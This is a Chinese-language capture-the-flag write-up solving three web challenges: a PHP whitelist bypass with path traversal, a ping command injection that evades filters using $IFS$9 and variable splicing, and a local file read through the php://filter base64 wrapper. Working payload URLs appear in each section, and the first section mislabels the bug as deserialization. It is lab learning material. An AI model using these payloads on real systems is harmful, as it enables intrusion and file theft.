1,[HCTF 2018]WarmUp
进入页面是一个大大的滑稽,查看一下页面源代码。
看到绿色的提示,让我们进入source.php页面看下。
这时候得到一串这段php的源码,这题也就是代码审计了,我们一步一步看。通过这段代码看到:
highlight_file(__FILE__);
include $_REQUEST['file'];
那很有可能是php反序列化漏洞,我们通过file传参来实现漏洞使用,接下来具体分析下剩下代码。(写在代码的注释上了)
<?php
highlight_file(__FILE__);
class emmm //设定一个函数名为emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//指定可以访问的页面
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}//检测$page的值是否为字符串,为否输出‘you can't see it’
if (in_array($page, $whitelist)) {
return true;
}//检测$page的值是否在数组$whitelist中,在则输出为真
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);//$_page变量被赋值为$page变量的一部分,它截取了从$page的开头到第一个问号字符('?')之间的部分,但不包括问号字符本身。如果$page中不存在问号字符,那么$_page将被赋值为整个$page的内容。
if (in_array($_page, $whitelist)) {
return true;
}//如果$_page属于$whiteist中,则输出为真
$_page = urldecode($page);//将$page中的URL编码字符解码为原始字符,并将解码后的结果存储在$_page变量中
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);//将解码的参数做同样操作
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])//提供文件包含参数file
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
总体而言,我们需要使用file来包含一些命令,首先要是一个字符串,且要有一串字符串在$whitelist中,然后通过函数mb_strpos再截取”?“前的一段字符串再判断是否在$whitelist中,由于这个组给了另一个php页面“hint.php”先进去看一下。
给了串提示,flag应该在文件夹ffffllllaaaagggg下,这个时候我们不知道这个文件夹在网站目录的具体位置,这时候可以是用../../../../../来返回网站根目录。这时候可以构造一下playload
http://0ec59cb8-9109-4121-8707-e39aaae07ef9.node4.buuoj.cn:81/?file=hint.php?../../../../../../ffffllllaaaagggg
得到flag
2,[GXYCTF2019]Ping Ping Ping
进入页面就是这样,页面源代码也啥也没有。
既然题目名叫ping,那么ping一下本机IP吧。
多粘了一个空格被它识别出来了。。。可见空格被过滤了,删掉空格正常显示。
这时候可以在ip背后挂上我们的指令,比如试下‘ls’。
a4989347-43f6-4968-8be0-70b75036674d.node4.buuoj.cn:81/?ip=192.168.56.1;ls
显示两个页面,看来flag页面下的就是我们想要的了。
试着读一下flag页面,用$IFS$9来代替空格。发现被检测出来了,估计flag被过滤了。
/?ip=192.168.56.1;cat$IFS$9flag.php
那就读一下index页面看看。
/?ip=192.168.56.1;cat$IFS$9index.php
显示了被过滤的字符串。
既然这样,可以尝试下拼接注入,拼接出flag。
/?ip=192.168.56.1;a=ag;b=fl;cat$IFS$9$b$a.php
检查下页面源代码得到flag。
3,[极客大挑战 2019]Secret File
进入页面先直接查看源代码,找到另一个页面。
进去看看,看到secrt,也点进去看看。
直接就查阅结束了,什么都没找到,看看页面源码。
找到一个action.php的页面,点进去却直接跳转到了end.php页面。。。。。那抓包这个页面在加载吧。
可以看到提示了一个secr3t.php页面,进去看看。
吆西,得到提示源码与flag位置,通过分析源码可见有file包含漏洞,但是过滤了一些重要字符串,先去flag.php页面看看。
查看页面源代码也没有,那估计包含在后端里,这时候可以通过包含在编码这个页面在secr3t.php显示,将php内容编码他就不会运行,能得到编码后的内容。
构造piaylaod
secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
得到编码后的内容,放到burp解码即可。
找到flag。